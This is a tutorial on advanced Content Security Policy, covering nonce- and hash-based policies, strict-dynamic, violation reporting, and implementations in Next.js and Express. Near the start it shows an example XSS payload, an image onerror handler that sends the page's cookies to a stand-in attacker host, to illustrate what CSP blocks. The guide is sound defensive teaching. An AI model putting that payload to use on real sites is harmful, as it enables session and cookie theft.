Content Security Policy Advanced
Advanced CSP with nonces, hashes, and strict policies
Content Security Policy Advanced
Content Security Policy (CSP) is the most powerful defense against XSS attacks. This guide covers advanced CSP techniques used by security-conscious companies.
Why CSP Matters
Without CSP:
<!-- Attacker injects script -->
<img src="x" onerror="fetch('https://evil.com?cookie='+document.cookie)">
<!-- Browser executes it! -->With CSP:
Content-Security-Policy: script-src 'self'
<!-- Inline scripts blocked, XSS prevented! -->CSP Levels
Level 1 (Basic)
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;Level 2 (Nonces)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';Level 3 (Strict CSP)
Content-Security-Policy:
script-src 'nonce-{random}' 'strict-dynamic';
object-src 'none';
base-uri 'none';Nonce-Based CSP
Generate unique nonce per request.
Next.js Implementation
// middleware.ts
import { NextResponse } from 'next/server';
import { randomBytes } from 'crypto';
export function middleware(request: Request) {
const nonce = randomBytes(16).toString('base64');
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim();
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', cspHeader);
response.headers.set('X-Nonce', nonce);
return response;
}// app/layout.tsx
import { headers } from 'next/headers';
export default async function RootLayout({ children }: Props) {
const headersList = await headers();
const nonce = headersList.get('X-Nonce') || '';
return (
<html>
<head>
{/* Inline scripts need nonce */}
<script nonce={nonce}>
{`window.__CONFIG__ = { apiUrl: '/api' };`}
</script>
</head>
<body>
{children}
{/* External scripts with nonce */}
<script
nonce={nonce}
src="/analytics.js"
/>
</body>
</html>
);
}Express.js
import express from 'express';
import crypto from 'crypto';
const app = express();
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
const csp = `
default-src 'self';
script-src 'self' 'nonce-${res.locals.nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${res.locals.nonce}';
object-src 'none';
base-uri 'none';
`.replace(/\s{2,}/g, ' ').trim();
res.setHeader('Content-Security-Policy', csp);
next();
});
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<script nonce="${res.locals.nonce}">
console.log('This script is allowed');
</script>
</head>
<body>
<h1>Hello CSP</h1>
</body>
</html>
`);
});Hash-Based CSP
For static inline scripts.
Generate Hashes
import crypto from 'crypto';
function generateCSPHash(script: string): string {
const hash = crypto
.createHash('sha256')
.update(script)
.digest('base64');
return `'sha256-${hash}'`;
}
// Usage
const inlineScript = `console.log('Hello');`;
const hash = generateCSPHash(inlineScript);
// Result: 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='Use in CSP
const cspHeader = `
script-src 'self' 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc=';
`;<!-- This exact script is allowed -->
<script>console.log('Hello');</script>
<!-- This is blocked (different hash) -->
<script>console.log('World');</script>Strict Dynamic
Allows dynamically loaded scripts from trusted scripts.
Content-Security-Policy:
script-src 'nonce-{random}' 'strict-dynamic';<!-- Trusted script with nonce -->
<script nonce="abc123">
// This script can load other scripts dynamically
const script = document.createElement('script');
script.src = '/dynamic.js';
document.body.appendChild(script); // ✅ Allowed!
</script>
<!-- But injected scripts are still blocked -->
<img src="x" onerror="alert('XSS')"> <!-- ❌ Blocked! -->Report-Only Mode
Test CSP without breaking the site.
// Report violations without blocking
const cspReportOnly = `
default-src 'self';
script-src 'self';
report-uri /api/csp-violations;
`;
response.headers.set('Content-Security-Policy-Report-Only', cspReportOnly);Violation Reporting
// app/api/csp-violations/route.ts
import { NextRequest } from 'next/server';
export async function POST(request: NextRequest) {
const violation = await request.json();
console.error('CSP Violation:', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
originalPolicy: violation['original-policy'],
documentURI: violation['document-uri'],
});
// Send to monitoring service
await sendToSentry(violation);
return new Response('OK', { status: 200 });
}CSP Directives
script-src
script-src 'self' // Same origin only
script-src 'self' https://cdn.com // Self + specific CDN
script-src 'nonce-{random}' // Only with nonce
script-src 'sha256-{hash}' // Only specific scripts
script-src 'strict-dynamic' // Propagate trust
script-src 'unsafe-inline' // ❌ Avoid! Defeats CSP
script-src 'unsafe-eval' // ❌ Avoid! Allows eval()style-src
style-src 'self'
style-src 'nonce-{random}'
style-src 'unsafe-inline' // Often needed for inline stylesimg-src
img-src 'self' data: https:connect-src
connect-src 'self' https://api.example.comfont-src
font-src 'self' data:object-src
object-src 'none' // Block plugins (Flash, Java)base-uri
base-uri 'self' // Prevent base tag injectionform-action
form-action 'self' // Restrict form submissionsframe-ancestors
frame-ancestors 'none' // Prevent clickjacking
frame-ancestors 'self' // Only same-origin iframes
frame-ancestors https://trusted.comupgrade-insecure-requests
upgrade-insecure-requests // HTTP → HTTPSStrict CSP Template
Google's recommended strict CSP:
const strictCSP = `
object-src 'none';
script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
base-uri 'none';
report-uri /api/csp-violations;
`.replace(/\s{2,}/g, ' ').trim();Why 'unsafe-inline' and 'unsafe-eval'?
With 'strict-dynamic', they're ignored by modern browsers but provide fallback for old browsers.
CSP for React/Next.js
Handling Inline Styles
// Use nonce for styled-components
import { ServerStyleSheet } from 'styled-components';
export default function Document() {
const sheet = new ServerStyleSheet();
const nonce = generateNonce();
// Collect styles with nonce
const styleTags = sheet.getStyleElement().map(tag =>
React.cloneElement(tag, { nonce })
);
return (
<html>
<head>
{styleTags}
</head>
<body>
<Main />
</body>
</html>
);
}Next.js Script Component
import Script from 'next/script';
export default function Page({ nonce }: Props) {
return (
<>
{/* Script component handles nonce automatically */}
<Script
src="/analytics.js"
strategy="afterInteractive"
nonce={nonce}
/>
</>
);
}Testing CSP
CSP Evaluator
https://csp-evaluator.withgoogle.com/
Paste your CSP policy to check for issuesBrowser DevTools
Console → Check for CSP violations
Network → Look for blocked resourcesAutomated Testing
describe('CSP', () => {
it('should have strict CSP header', async () => {
const response = await fetch('/');
const csp = response.headers.get('Content-Security-Policy');
expect(csp).toContain("script-src 'nonce-");
expect(csp).toContain("object-src 'none'");
expect(csp).toContain("base-uri 'none'");
});
});Common Issues
Issue: Inline Event Handlers Blocked
<!-- ❌ Blocked by CSP -->
<button onclick="handleClick()">Click</button>
<!-- ✅ Use event listeners instead -->
<button id="myButton">Click</button>
<script nonce="{nonce}">
document.getElementById('myButton').addEventListener('click', handleClick);
</script>Issue: Third-Party Scripts
// Add trusted domains to CSP
const csp = `
script-src 'self' 'nonce-{nonce}'
https://www.google-analytics.com
https://www.googletagmanager.com;
`;Issue: Webpack/Vite HMR
// Development CSP (more permissive)
const devCSP = `
script-src 'self' 'unsafe-eval'; // Needed for HMR
connect-src 'self' ws: wss:; // Needed for WebSocket
`;
// Production CSP (strict)
const prodCSP = `
script-src 'self' 'nonce-{nonce}' 'strict-dynamic';
`;Best Practices
- Start with Report-Only: Test before enforcing
- Use Nonces: More flexible than hashes
- strict-dynamic: Simplifies policy
- Avoid 'unsafe-inline': Defeats CSP purpose
- object-src 'none': Block plugins
- base-uri 'none': Prevent base injection
- Monitor Violations: Track in production
- Update Regularly: Review and improve
- Test Thoroughly: All pages and features
- Document Exceptions: Why certain domains allowed
Security Levels
Level 1 (Basic):
✅ Better than nothing
❌ Still allows inline scripts with 'unsafe-inline'
Level 2 (Nonce/Hash):
✅ Blocks most XSS
✅ Allows controlled inline scripts
❌ Requires server-side nonce generation
Level 3 (Strict):
✅ Maximum security
✅ Future-proof with 'strict-dynamic'
✅ Easiest to maintain
❌ Requires nonce infrastructureCommon Pitfalls
❌ 'unsafe-inline' everywhere: Defeats CSP
✅ Use nonces or hashes
❌ No report-uri: Can't detect violations
✅ Monitor violations in production
❌ Too permissive: Allows too many domains
✅ Allowlist only necessary domains
❌ Forgetting nonce on inline scripts: CSP blocks them
✅ Add nonce to all inline scripts/styles
CSP is the strongest XSS defense—implement it strictly and monitor violations!